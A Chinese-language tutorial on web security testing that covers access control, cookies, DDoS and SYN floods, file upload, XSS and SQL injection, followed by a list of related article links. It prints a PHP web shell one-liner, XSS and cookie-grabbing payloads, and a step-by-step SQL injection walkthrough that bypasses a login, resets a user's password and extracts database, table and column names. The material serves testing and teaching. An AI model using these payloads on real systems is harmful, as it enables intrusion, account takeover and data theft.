Web安全性測試
一、認證與授權
1、認證 即登入功能正常
2、許可權 每個使用者擁有正確的許可權
3、避免未經授權的頁面可以直接訪問,通過認證和許可權(Session),對每個頁面有一個判斷。例如在知道一個頁面的絕對url地址後,該頁面有個session變數叫login-in,如果login-in為False時訪問該頁面跳轉到登入頁面,為True可正常訪問。
4、在手動進行安全測試時,對所有url地址在不登入時直接訪問
二、Session與Cookie
1、避免儲存敏感資訊到cookie檔案中。如使用者名稱、密碼
2、作用域 不同應用系統不同作用域。下圖中為單個應用系統,Path對應的是這個cookie的作用域,斜槓表示根目錄,即該條cookeie作用域為整個應用系統。
Set-Cookie: access-token=LluyJIfAggsBH_woZgQAledLq3ZJzNwOD501WuvHNdjV5JthEWw; Path=/
三、DDOS拒絕服務攻擊
1、向伺服器瘋狂傳送請求,導致伺服器崩潰,無法進行正常處理
2、肉雞 遠端控制多臺電腦同時向伺服器發請求
3、攻擊聯盟 與肉雞同樣的道理,達到分散式效果。由於請求都是真實的,但是請求量過大導致伺服器崩潰。伺服器無法通過禁用IP、防火牆來限制,最好的解決方式,增加伺服器資源。
4、利用TCP建立連線的規則 TCP建立連線需要經歷三次捂手的過程,簡單描述為:①C-->S ② S-->C ③C-->S 如果三次握手成功則會建立穩定的TCP連線。根據這種規則,客戶端模擬一個不存在IP地址向伺服器傳送TCP連線的請求,服務端在向客戶端發起第二次握手時由於找不到IP地址,連線資源一直處於等待狀態。連線數量過大時會導致伺服器資源崩潰。
四、檔案上傳漏洞
1、檔案上傳的過濾:①通過字尾名過濾;②通過二進位制來判斷檔案型別(防止修改字尾名);
2、修改伺服器核心引數,禁止指令碼引擎執行系統命令;
3、<?php system($_GET['cmd']); ?>
將該命令寫一個php檔案並上傳,上傳後直接點選php檔案,如果在windows,http://127.0.0.1:8080/?cmd=dir 顯示當前目錄。如果不做限制,那麼就能執行任意命令。
五、XSS跨站攻擊
1、什麼是跨站攻擊:XSS攻擊全稱跨站指令碼攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS,XSS是一種在web應用中的電腦保安漏洞,它允許惡意web使用者將程式碼植入到提供給其它使用者使用的頁面中。
2、如何寫XSS指令碼 對所有輸入框做校驗。
<input type="button" value="點選" οnclick="alert('你好')" />以上一行程式碼在輸入框輸入並提交成功後,如果頁面出現一個可點選按鈕,表示沒有對輸入內容進行過濾,存在安全問題。
3、獲取使用者cookie
在將程式碼修改為下列一行後(在頁面展示為可點選美女圖片),其他使用者在點選後,就直接能獲取到使用者cookie
<img src="http://www.win4000.com/meinv165398.html" οnclick="document.getElementById('kw').value=document.cookie">
六、SQL隱碼攻擊
1、最通用一個攻擊手段,用於關係型資料庫
2、通過SQL隱碼攻擊獲取伺服器端資料庫的內容
3、通過SQL隱碼攻擊修改資料庫的內容
4、php, asp, jsp, mysql, sqlserver, oracle, access都有不同的攻擊方式
登入SQL隱碼攻擊舉例:
在輸入使用者名稱密碼後,一般系統會去資料庫匹配校驗,校驗的可能sql猜想如下:
select * from user where username=‘$username’ and password=‘$password’
select username, password from user where username=‘$username’
if (count() == 1)
if (password=$password)
登入成功
如果為第一種最不安全的匹配方式,修改使用者名稱:
$username=x' or userid=1 # '
替換第一條的username後語句變為:
select * from user where username=‘x' or userid=1 # ' and password=$password
#會將後面的password校驗直接註釋掉
修改使用者密碼:
$username=x' ; update user set password='123456' where userid=1 #'
替換第一條的username後語句變為:
select * from user where username=‘x' ; update user set password='123456' where userid=1 #' ’ and password=‘$password’
如果頁面使用者名稱輸入框限制了使用者輸入長度,可使用工具跳過頁面校驗。
如果伺服器端也沒有進行校驗,此時會更新userid=1的密碼為123456。請求完成後,在頁面使用者名稱輸入框輸入x' or userid=1 # ',密碼輸入:123456,點選登入,如果登入成功,表示密碼修改成功。如果沒有登入成功, 可能的原因:①表名user猜錯;②列名password、userid其中一個或兩個猜錯;③密碼以加密儲存。
對①②中情況,只能進行多次嘗試,對③,先對123456進行MD5加密後重新執行語句,然後再嘗試:在頁面使用者名稱輸入框輸入x' or userid=1 # ',密碼輸入:123456,點選登入,如果登入成功,表示密碼修改成功。
實現登入SQL隱碼攻擊條件:
1、伺服器端沒有對輸入長度進行驗證
2、需要對錶名、列名、加密方式進行猜錯(對自身系統,可直接檢視)
利用url地址引數進行SQL隱碼攻擊:
如:http://localhost/phpwind/read.php?tid=9527
後端查詢該條內容可能方式:select * from thread where tid=9527
通過以下三種方式進行SQL隱碼攻擊試探:
- tid=9527'
- tid=9527 and 1=2
- tid=9527 order by 10
如果以上三種試探頁面返回對應SQL查詢結果,則存在SQL隱碼攻擊漏洞。使用以下方式獲取資料庫表名和列名:
select * from thread where tid=9527 and 1=2 union select 1,2,3,4,5,6,7,8,9
上一條SQL分兩個查詢,union之前的查詢結果列的數量需要和union之後查詢的數量(9)相等。執行後,會在頁面顯示出可執行的其中一列的結果。在能顯示出查詢結果的列,輸入:database()、user()獲取資料庫名、使用者名稱。
如果列1為能顯示查詢結果的列,SQL如下:
select * from thread where tid=9527 and 1=2 union select database(),2,3,4,5,6,7,8,9 查詢出資料庫名:learn
select * from thread where tid=9527 and 1=2 union select user(),2,3,4,5,6,7,8,9 查詢出使用者名稱
select * from thread where tid=9527 and 1=2 union select table_name,2,3,4,5,6,7,8,9 from information_schem.tables where table_scheme='learn' limit 1,1(limit 1,1表示從第2條開始顯示,一共只顯示1條) 獲取表名:user
select * from thread where tid=9527 and 1=2 union select column_name,2,3,4,5,6,7,8,9 from information_schem.columns where table_scheme='learn' and table_name='user' limit 1,1 獲取user表的列名
到這一步,已經可以把資料庫的所有資料抓取下來了。
七、暴力破解
顧名思義,暴力破解的原理就是使用攻擊者自己的使用者名稱和密碼字典,一個一個去列舉,嘗試是否能夠登入。因為理論上來說,只要字典足夠龐大,列舉總是能夠成功的!
網上百度安全測試 暴力破解,基本都是Burp Suite的教程。
相關文章
- MQTT 伺服器安全性測試MQQT伺服器
- Web安全測試Web
- App測試、Web測試和介面測試一般測試流程APPWeb
- web頁面測試Web
- Web測試框架SeleniumBaseWeb框架
- Web效能測試種類與全面測試模型Web模型
- 黑盒測試策略及測試範圍(web端)Web
- 淺談web介面測試Web
- web測試方法總結Web
- 軟體安全性測試要點有哪些?常用軟體安全測試工具分享
- Web測試轉App測試不看不知道WebAPP
- Web 測試轉 App 測試不看不知道WebAPP
- web測試與手機app測試的異同WebAPP
- Apache Bench Web 壓力測試ApacheWeb
- Web測試中定位bug方法Web
- Web 端滲透測試初探Web
- web伺服器效能測試Web伺服器
- 運用 Hacking APIs GPT 進行 API 安全性測試APIGPT
- 介面測試過程中常見的介面安全性問題,通用測試點整理歸納
- 軟體安全性測試有哪些型別?2022安全測試報告收費標準型別測試報告
- 【軟體測試】你最常用的web測試-瀏覽器相容性測試Web瀏覽器
- 進行app效能和安全性測試的重要性APP
- 提高應用程式安全性的測試和方法有哪些?
- 如何檢測前端頁面的安全性?怎樣避免web頁面攻擊?前端Web
- gRPC-web現狀及測試RPCWeb
- 使用Gatling做web壓力測試Web
- web端功能測試心得總結!Web
- Web測試入門——軟體測試員必知的50個常見測試點Web
- Web 應用安全性: HTTP簡介WebHTTP
- 如何提高web伺服器安全性Web伺服器
- 軟體測試學習教程——WEB測試之JS記憶體WebJS記憶體
- 軟體測試學習教程—Web測試之正規表示式Web
- 移動App安全性測試工具整理,app測試就找第三方軟體測評機構APP
- 安全性測試入門 (五):Insecure CAPTCHA 驗證碼繞過APT
- Web 端的測試 Selenium 用法必備Web
- 14 Web 自動化測試 -- PageObject 思想WebObject
- ASP.NET Core Web API 整合測試ASP.NETWebAPI
- selenium(web端)淘寶測試程式碼Web